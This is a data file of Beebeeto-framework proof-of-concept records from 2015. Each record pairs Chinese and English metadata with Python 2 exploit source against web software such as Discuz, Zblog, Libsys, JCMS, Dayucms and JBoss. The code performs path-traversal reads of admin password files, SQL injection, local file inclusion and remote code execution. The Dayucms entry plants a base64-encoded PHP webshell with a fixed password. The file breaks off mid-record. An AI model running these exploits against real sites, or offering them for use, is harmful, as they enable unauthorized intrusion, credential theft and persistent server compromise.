X2.5 /uc_server/control/admin/db.php \u8def\u5f84\u6cc4\u9732\u6f0f\u6d1e POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "pikachu", "rank": 1, "port": null, "vul_type": "\u4fe1\u606f\u6cc4\u6f0f", "tag": "Discuz\u4fe1\u606f\u6cc4\u6f0f\u6f0f\u6d1e,Information Disclosure,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0113',\r\n 'name': 'Discuz X2.5 /uc_server/control/admin/db.php \u8def\u5f84\u6cc4\u9732\u6f0f\u6d1e POC',\r\n 'author': 'pikachu',\r\n 'create_date': '2015-06-23',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Discuz',\r\n 'vul_version': ['X2.5'],\r\n 'type': 'Information Disclosure',\r\n 'tag': ['Discuz\u4fe1\u606f\u6cc4\u6f0f\u6f0f\u6d1e', 'Information Disclosure', 'php'],\r\n 'desc': 'discuz X2.5 \u5b58\u5728\u591a\u5904\u7edd\u5bf9\u8def\u5f84\u6cc4\u9732\u3002',\r\n 'references': ['N/A',\r\n ],\r\n },\r\n }\r\n \r\n @classmethod\r\n def verify(cls, args):\r\n payload = r'/uc_server/control/admin/db.php'\r\n verify_url = args['options']['target'] + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n print '[*] GET: ' + payload\r\n req = requests.get(verify_url)\r\n pathinfo = re.compile(r'not found in (.*) on line')\r\n match = pathinfo.findall(req.content)\r\n if match:\r\n path = match[0]\r\n args['success'] = True\r\n args['poc_ret']['path'] = path\r\n return args\r\n \r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "discuz X2.5 \u5b58\u5728\u591a\u5904\u7edd\u5bf9\u8def\u5f84\u6cc4\u9732\u3002", "app_name": "Discuz", "id": "poc-2015-0113", "layer4_protocol": null} +{"create_date": "2015-06-21 20:38:39", "name": "Git information disclosure POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "t0nyhj", "rank": 2, "port": null, "vul_type": "\u4fe1\u606f\u6cc4\u6f0f", "tag": "information disclosure,git\u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e,git", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0112',\r\n 'name': 'Git information disclosure POC',\r\n 'author': 't0nyhj',\r\n 'create_date': '2015-06-18',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'N/A',\r\n 'vul_version': ['*'],\r\n 'type': 'Information Disclosure',\r\n 'tag': ['information disclosure', 'git\u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e', 'git'],\r\n 'desc': 'use git incorrect cause site information disclosure',\r\n 'exploit':'https://github.com/lijiejie/GitHack',\r\n 'references': ['http://wooyun.org/bugs/wooyun-2010-0100762',\r\n 'http://www.beebeeto.com/pdb/poc-2014-0024/',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n keyword = ['core','remote','branch']\r\n vul_url = args[\"options\"][\"target\"] + '/.git/config'\r\n if args['options']['verbose']:\r\n print \"[*] Request URL:\", vul_url\r\n resquest = urllib2.Request(vul_url)\r\n response = urllib2.urlopen(resquest)\r\n if response.getcode() != 200:\r\n args[\"success\"] = False\r\n return args\r\n content = response.read()\r\n flag = False\r\n for word in keyword:\r\n if word in content:\r\n flag = True\r\n break\r\n if flag == True:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = vul_url\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "use git incorrect cause site information disclosure", "app_name": "Other", "id": "poc-2015-0112", "layer4_protocol": null} +{"create_date": "2015-06-17 14:25:20", "name": "Zblog /zb_install/index.php \u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e POC", "level": "\u9ad8\u5371", "batchable": 1, "author": "user1018", "rank": 4, "port": null, "vul_type": "\u672c\u5730\u6587\u4ef6\u5305\u542b", "tag": "Zblog\u6700\u65b0\u7248\u672c\u6f0f\u6d1e,Zblog \u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0111',\r\n 'name': 'Zblog /zb_install/index.php \u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e POC',\r\n 'author': 'user1018',\r\n 'create_date': '2015-06-17',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Zblog',\r\n 'vul_version': ['*'],\r\n 'type': 'Local File Inclusion',\r\n 'tag': ['Zblog\u6700\u65b0\u7248\u672c\u6f0f\u6d1e', 'Zblog \u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e', 'php'],\r\n 'desc': '''\r\n \u867d\u7136\u9650\u5236\u4e86\u5fc5\u987b\u4e3a.php\u540e\u7f00\u7684\uff0c\u4f46\u662f\u56e0\u4e3a\u6ca1\u5bf9POST\u8f6c\u4e49\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u622a\u65ad\u540e\u9762\u7684.php\u3002\r\n ''',\r\n 'references': ['http://0day5.com/archives/3213',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n filepath = '/zb_install/index.php'\r\n payload = 'zbloglang=../../zb_system/image/admin/none.gif%00'\r\n verify_url = args['options']['target'] + filepath\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n print '[*] POST: ' + payload\r\n req = requests.post(verify_url, data=payload)\r\n if 'Cannot use a scalar value' in req.content and req.status_code == 500:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u867d\u7136\u9650\u5236\u4e86\u5fc5\u987b\u4e3a.php\u540e\u7f00\u7684\uff0c\u4f46\u662f\u56e0\u4e3a\u6ca1\u5bf9POST\u8f6c\u4e49\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u622a\u65ad\u540e\u9762\u7684.php\u3002", "app_name": "Z-blog", "id": "poc-2015-0111", "layer4_protocol": null} +{"create_date": "2015-06-09 16:33:29", "name": "\u6c47\u6587Libsys\u56fe\u4e66\u9986\u7ba1\u7406\u7cfb\u7edf /zplug/ajax_asyn_link.old.php \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "ko0zhi", "rank": 3, "port": null, "vul_type": "\u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d", "tag": "Libsys\u6f0f\u6d1e,/zplug/ajax_asyn_link.old.php\u6f0f\u6d1e,php,\u56fe\u4e66\u9986\u7ba1\u7406\u7cfb\u7edf", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0109',\r\n 'name': '\u6c47\u6587Libsys\u56fe\u4e66\u9986\u7ba1\u7406\u7cfb\u7edf /zplug/ajax_asyn_link.old.php \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e POC',\r\n 'author': 'ko0zhi',\r\n 'create_date': '2015-06-09',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'libsys',\r\n 'vul_version': ['*'],\r\n 'type': 'Arbitrary File Read',\r\n 'tag': ['Libsys\u6f0f\u6d1e', '/zplug/ajax_asyn_link.old.php\u6f0f\u6d1e', 'php', '\u56fe\u4e66\u9986\u7ba1\u7406\u7cfb\u7edf'],\r\n 'desc': '''\r\n \u6c47\u6587\u8f6f\u4ef6Libsys\u56fe\u4e66\u9986\u7ba1\u7406\u7cfb\u7edf\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\uff0c\u53ef\u4ee5\u76f4\u63a5\u83b7\u53d6\u7ba1\u7406\u5458\u8d26\u53f7\uff0c\u5bc6\u7801\u660e\u6587\u3001\u6570\u636e\u5e93\u5bc6\u7801\u660e\u6587\u3001\r\n \u914d\u7f6e\u4fe1\u606f\u7b49\u975e\u5e38\u654f\u611f\u7684\u4fe1\u606f\uff0c\u53ef\u4ee5\u8f7b\u677e\u5b9e\u73b0\u65e0\u4efb\u4f55\u9650\u5236\u83b7\u53d6 WEBSHELL ...\r\n ''',\r\n 'references': ['http://www.wooyun.org/bugs/wooyun-2014-059850'],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n url = args['options']['target']\r\n verify_url = ('%s/zplug/ajax_asyn_link.old.php?url='\r\n '../admin/opacadminpwd.php') % url\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n req = requests.get(verify_url)\r\n if req.status_code == 200 and '$strPassWdView' in req.content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u6c47\u6587\u8f6f\u4ef6Libsys\u56fe\u4e66\u9986\u7ba1\u7406\u7cfb\u7edf\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\uff0c\u53ef\u4ee5\u76f4\u63a5\u83b7\u53d6\u7ba1\u7406\u5458\u8d26\u53f7\uff0c\u5bc6\u7801\u660e\u6587\u3001\u6570\u636e\u5e93\u5bc6\u7801\u660e\u6587\u3001\u914d\u7f6e\u4fe1\u606f\u7b49\u975e\u5e38\u654f\u611f\u7684\u4fe1\u606f\uff0c\u53ef\u4ee5\u8f7b\u677e\u5b9e\u73b0\u65e0\u4efb\u4f55\u9650\u5236\u83b7\u53d6 WEBSHELL ...", "app_name": "Libsys", "id": "poc-2015-0109", "layer4_protocol": null} +{"create_date": "2015-06-09 16:27:23", "name": "Dayucms & Dircms <=1.526 /pay/order.php \u4ee3\u7801\u6267\u884c\u6f0f\u6d1e POC & Exploit", "level": "\u9ad8\u5371", "batchable": 1, "author": "foundu", "rank": 5, "port": null, "vul_type": "\u4ee3\u7801\u6267\u884c", "tag": "Dircms\u6f0f\u6d1e,Dayucms\u6f0f\u6d1e,/pay/order.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport random\r\nimport base64\r\nimport hashlib\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0108',\r\n 'name': 'Dayucms & Dircms <=1.526 /pay/order.php \u4ee3\u7801\u6267\u884c\u6f0f\u6d1e POC & Exploit',\r\n 'author': 'foundu',\r\n 'create_date': '2015-06-09',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Dayucms',\r\n 'vul_version': ['<=1.526'],\r\n 'type': 'Code Execution',\r\n 'tag': ['Dircms\u6f0f\u6d1e', 'Dayucms\u6f0f\u6d1e', '/pay/order.php', 'php'],\r\n 'desc': '''\r\n DayuCMS\u5728\u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u6570\u7ec4\u7684\u51fd\u6570\u4e2d\u76f4\u63a5\u5229\u7528eval\uff0c\u5e76\u4e14\u5b58\u5728\u53ef\u63a7\u53d8\u91cf\uff0c\u5bfc\u81f4\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002\r\n ''',\r\n 'references': ['http://joychou.org/index.php/web/dayucms-1-526-foreground-remote-code-execution.html',\r\n ],\r\n },\r\n }\r\n\r\n @staticmethod\r\n def md5_t(char):\r\n return hashlib.md5(char).hexdigest()\r\n\r\n @classmethod\r\n def dayucms_md5(cls, char):\r\n return cls.md5_t(char)[8:24]\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n ip = '2.2.2.2'\r\n filenum = random.randint(10000, 99999)\r\n filename = base64.b64encode('%d.php' % filenum)\r\n verify_url = '%s/pay/order.php' % args['options']['target']\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n req = requests.get(verify_url)\r\n cookie = req.cookies\r\n for cookie_tuple in cookie.items():\r\n for k in cookie_tuple:\r\n if 'siteid' in k:\r\n cookie_pre = k\r\n break\r\n cookie_key = cls.dayucms_md5('productarray'+ip)\r\n cookie_key = cookie_pre[:-6] + cookie_key\r\n if args['options']['verbose']:\r\n print '[*] XFF is: %s' % ip\r\n print '[*] Cookie_key which need to add is: %s\\n' % cookie_key\r\n vs = 'PD9waHAgdmFyX2R1bXAobWQ1KDEyMykpO3VubGluayhfX0ZJTEVfXyk7'\r\n verify_shell = 'fputs(fopen(base64_decode(%s),w),base64_decode(%s))' % (filename, vs)\r\n verify_shell = '1%3b' + verify_shell\r\n false_headers = {'X-Forwarded-For': ip}\r\n false_cookies = {cookie_key: verify_shell, cookie_pre: '1'}\r\n verify_req = requests.get(verify_url, cookies = false_cookies, headers = false_headers)\r\n verify_shell_url = '%s/pay/%d.php' % (args['options']['target'], filenum)\r\n if '202cb962ac59075b964b07152d234b70' in requests.get(verify_shell_url).content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n @classmethod\r\n def exploit(cls, args):\r\n ip = '2.2.2.2'\r\n filenum = random.randint(10000, 99999)\r\n filename = base64.b64encode('%d.php' % filenum)\r\n verify_url = '%s/pay/order.php' % args['options']['target']\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n req = requests.get(verify_url)\r\n cookie = req.cookies\r\n for cookie_tuple in cookie.items():\r\n for k in cookie_tuple:\r\n if 'siteid' in k:\r\n cookie_pre = k\r\n break\r\n cookie_key = cls.dayucms_md5('productarray'+ip)\r\n cookie_key = cookie_pre[:-6] + cookie_key\r\n if args['options']['verbose']:\r\n print '[*] XFF is: %s' % ip\r\n print '[*] Cookie_key which need to add is: %s\\n' % cookie_key\r\n vs = 'PD9waHAKdmFyX2R1bXAobWQ1KDEyMykpOwphc3NlcnQoCiRfUE9TVFtiZWViZWV0b10KKTs'\r\n webshell = 'fputs(fopen(base64_decode(%s),w),base64_decode(%s))' % (filename, vs)\r\n webshell = '1%3b' + webshell\r\n false_headers = {'X-Forwarded-For': ip}\r\n false_cookies = {cookie_key: webshell, cookie_pre: '1'}\r\n verify_req = requests.get(verify_url, cookies = false_cookies, headers = false_headers)\r\n shell_url = '%s/pay/%d.php' % (args['options']['target'], filenum)\r\n if '202cb962ac59075b964b07152d234b70' in requests.get(shell_url).content:\r\n args['success'] = True\r\n args['poc_ret']['webshell'] = shell_url\r\n args['poc_ret']['password'] = 'beebeeto'\r\n return args\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "DayuCMS\u5728\u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u6570\u7ec4\u7684\u51fd\u6570\u4e2d\u76f4\u63a5\u5229\u7528eval\uff0c\u5e76\u4e14\u5b58\u5728\u53ef\u63a7\u53d8\u91cf\uff0c\u5bfc\u81f4\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002", "app_name": "Dayucms", "id": "poc-2015-0108", "layer4_protocol": null} +{"create_date": "2015-06-04 21:15:44", "name": "Discuz \u95ee\u5377\u8c03\u67e5\u63d2\u4ef6 /nds_ques_viewanswer.inc.php SQL\u6ce8\u5165\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "1024", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "Discuz\u95ee\u5377\u8c03\u67e5\u4e13\u4e1a\u7248\u63d2\u4ef6\u6ce8\u5165,/nds_ques_viewanswer.inc.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0107',\r\n 'name': 'Discuz \u95ee\u5377\u8c03\u67e5\u63d2\u4ef6 /nds_ques_viewanswer.inc.php SQL\u6ce8\u5165\u6f0f\u6d1e POC',\r\n 'author': '1024',\r\n 'create_date': '2015-06-04',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Discuz',\r\n 'vul_version': ['*'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['Discuz\u95ee\u5377\u8c03\u67e5\u4e13\u4e1a\u7248\u63d2\u4ef6\u6ce8\u5165', '/nds_ques_viewanswer.inc.php', 'php'],\r\n 'desc': 'Discuz plugin sql injection vulnerability.',\r\n 'references': ['http://0day5.com/archives/3184',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payload = ('/plugin.php?id=nds_up_ques:nds_ques_viewanswer&srchtxt=1&orderby=dateline'\r\n ' and 1=(updatexml(1,concat(0x27,md5(123)),1))--')\r\n verify_url = args['options']['target'] + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n req = requests.get(verify_url)\r\n if '202cb962ac59075b964b07152d234b70' in req.content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "Discuz plugin sql injection vulnerability.", "app_name": "Discuz", "id": "poc-2015-0107", "layer4_protocol": null} +{"create_date": "2015-06-01 17:07:28", "name": "JCMS /opr_readfile.jsp \u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d\u6f0f\u6d1e POC", "level": "\u9ad8\u5371", "batchable": 1, "author": "\u5c0f\u9a6c\u7532", "rank": 3, "port": null, "vul_type": "\u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d", "tag": "JCMS\u6f0f\u6d1e,/opr_readfile.jsp\u6f0f\u6d1e,jsp", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0106',\r\n 'name': 'JCMS /opr_readfile.jsp \u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d\u6f0f\u6d1e POC',\r\n 'author': '\u5c0f\u9a6c\u7532',\r\n 'create_date': '2015-06-01',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'JCMS',\r\n 'vul_version': ['*'],\r\n 'type': 'Arbitrary File Download',\r\n 'tag': ['JCMS\u6f0f\u6d1e', '/opr_readfile.jsp\u6f0f\u6d1e', 'jsp'],\r\n 'desc': '''\r\n \u5927\u6c49\u7248\u901ajcms\u7cfb\u7edf\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\uff0c\u53ef\u4ee5\u76f4\u63a5\u83b7\u53d6\u7ba1\u7406\u5458\u8d26\u53f7\uff0c\u5bc6\u7801\u660e\u6587\u3001\u6570\u636e\u5e93\u5bc6\u7801\u660e\u6587\u3001\r\n \u914d\u7f6e\u4fe1\u606f\u7b49\u975e\u5e38\u654f\u611f\u7684\u4fe1\u606f\uff0c\u53ef\u4ee5\u8f7b\u677e\u5b9e\u73b0\u65e0\u4efb\u4f55\u9650\u5236\u83b7\u53d6 WEBSHELL ...\r\n ''',\r\n 'references': ['http://www.ijindun.com/News/gonggao/2014/1125/178542.html'],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n url = args['options']['target']\r\n verify_url = ('%s/jcms/jcms_files/jcms1/web1/site/module/comment/opr_readfile.jsp?filename='\r\n '../../../../../../WEB-INF/ini/merpserver.ini') % url\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n req = requests.get(verify_url)\r\n if req.status_code == 200 and 'AdminPW' in req.content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u5927\u6c49\u7248\u901ajcms\u7cfb\u7edf\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\uff0c\u53ef\u4ee5\u76f4\u63a5\u83b7\u53d6\u7ba1\u7406\u5458\u8d26\u53f7\uff0c\u5bc6\u7801\u660e\u6587\u3001\u6570\u636e\u5e93\u5bc6\u7801\u660e\u6587\u3001\r\n\u914d\u7f6e\u4fe1\u606f\u7b49\u975e\u5e38\u654f\u611f\u7684\u4fe1\u606f\uff0c\u53ef\u4ee5\u8f7b\u677e\u5b9e\u73b0\u65e0\u4efb\u4f55\u9650\u5236\u83b7\u53d6 WEBSHELL ...", "app_name": "JCMS", "id": "poc-2015-0106", "layer4_protocol": null} +{"create_date": "2015-06-01 16:27:40", "name": "JBoss 5.1.0 DeploymentFileRepository \u4ee3\u7801\u6267\u884c\u6f0f\u6d1e POC", "level": "\u9ad8\u5371", "batchable": 1, "author": "linglin", "rank": 4, "port": null, "vul_type": "\u547d\u4ee4\u6267\u884c", "tag": "JBoss\u6f0f\u6d1e,DeploymentFileRepository,Remot Code Execution", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0105',\r\n 'name': 'JBoss 5.1.0 DeploymentFileRepository \u4ee3\u7801\u6267\u884c\u6f0f\u6d1e POC',\r\n 'author': 'Linglin',\r\n 'create_date': '2015-05-28',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'JBoss',\r\n 'vul_version': ['5.1.0'],\r\n 'type': 'Code Execution',\r\n 'tag': ['JBoss\u6f0f\u6d1e', 'DeploymentFileRepository', 'Remot Code Execution'],\r\n 'desc': 'Jboss5.1.0\u9ed8\u8ba4\u914d\u7f6e\u5141\u8bb8\u76f4\u63a5\u90e8\u7f72\u4ee3\u7801\u5230\u670d\u52a1\u5668\u4e0a\uff0c\u53ef\u4ee5\u6267\u884c\u653b\u51fb\u8005\u63d0\u4f9b\u7684\u4efb\u610f\u4ee3\u7801\u3002',\r\n 'references': ['http://www.securityfocus.com/bid/21219/',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n verify_code = ('\\n<%@ page import=\"java.util.*,java.io.*\" %>\\n<%@ page import=\"'\r\n 'java.io.*\"%>\\n<%\\nString path=request.getRealPath(\"\");\\nout.prin'\r\n 'tln(path);\\nFile d=new File(path);\\nif(d.exists()){\\n d.delete()'\r\n ';\\n }\\n%>\\n<% out.println(\"this_is_not_exist_9.1314923\");%>')\r\n payload = ('action=invokeOp&name=jboss.admin%%3Aservice%%3DDeploymentFileRepositor'\r\n 'y&methodIndex=5&arg0=test.war&arg1=test&arg2=.jsp&arg3=%s&arg4=True')\r\n verify_data = payload % urllib2.quote(verify_code)\r\n verify_url = args['options']['target'] + '/jmx-console/HtmlAdaptor'\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n page_content = ''\r\n request = urllib2.Request(verify_url, verify_data)\r\n response = urllib2.urlopen(request)\r\n page_content = response.read()\r\n if 'this_is_not_exist_9.1314923' in page_content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "Jboss5.1.0\u9ed8\u8ba4\u914d\u7f6e\u5141\u8bb8\u76f4\u63a5\u90e8\u7f72\u4ee3\u7801\u5230\u670d\u52a1\u5668\u4e0a\uff0c\u53ef\u4ee5\u6267\u884c\u653b\u51fb\u8005\u63d0\u4f9b\u7684\u4efb\u610f\u4ee3\u7801\u3002", "app_name": "Jboss", "id": "poc-2015-0105", "layer4_protocol": null} +{"create_date": "2015-05-25 10:53:09", "name": "phpwind v8.7 /goto.php \u8de8\u7ad9\u811a\u672c\u6f0f\u6d1e POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "tmp", "rank": 3, "port": null, "vul_type": "\u8de8\u7ad9\u6f0f\u6d1e", "tag": "phpwind\u7cfb\u7edf\u6f0f\u6d1e,/goto.php\u6f0f\u6d1e,phpwind xss\u6f0f\u6d1e,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0104',\r\n 'name': 'phpwind v8.7 /goto.php \u8de8\u7ad9\u811a\u672c\u6f0f\u6d1e POC',\r\n 'author': 'tmp',\r\n 'create_date': '2015-05-25',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 